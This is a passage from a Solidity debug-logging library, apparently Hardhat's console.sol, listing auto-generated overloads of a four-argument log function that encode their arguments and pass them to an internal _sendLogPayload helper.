p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint 